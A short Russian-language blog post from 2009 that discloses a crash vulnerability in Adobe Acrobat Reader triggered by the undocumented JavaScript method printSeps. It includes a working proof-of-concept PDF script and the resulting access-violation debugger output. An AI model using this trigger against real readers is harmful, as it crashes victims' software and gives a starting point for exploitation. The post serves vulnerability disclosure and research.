пятница, 20 ноября 2009 г.

Adobe Acrobat: Уязвимость при выполнении метода в JavaScript

Буквально вчера автором поста была обнаружена уязвимость в программных продуктах от Adobe. Уязвимость связана со всеми продуктами, поддерживающими обработку скриптов на языке JavaScript. К настоящему моменту уязвимость подтверждена для программ Acrobat Reader версий 8.0.1, 8.0.2, 8.0.3, 8.0.4, 9.1.0.
Уязвимость связана с использованием недокументированного метода "printSeps". Указанный метод поставляется библиотекой Escript.api. При обработке данного метода Escript.api вызвает метод из AcroRd32.dll с невалидными параметрами.

Для "провокации" программы достаточно открыть pdf-документ одной из вышеуказанных программ, содержащий в себе скрипт со следущим содержанием с последующей его интерпретацией программой:

//
// this script generates DoS in Acrobat Reader 8.0.1/2/3/4,9.1.0
console.show();
console.clear();
console.println("start processing...");
this.printSeps(); // вылим обработчик
console.println("end."); // данная строка кода никогда не выполнится
//
// end of script

Загрузив программу в отладчик (например, OllyDbg или DynamicTestAnalyzer) и открыв такой документ, можно увидеть следущее:

//exception: ACCESS_VIOLATION in AcroRd32.dll
0x******** | mov ecx, dword ptr ds:[eax+8] | EAX == 0xFEEEEEEE

В настоящий момент ведется детальное изучение уязвимости на предмет её эксплуатации.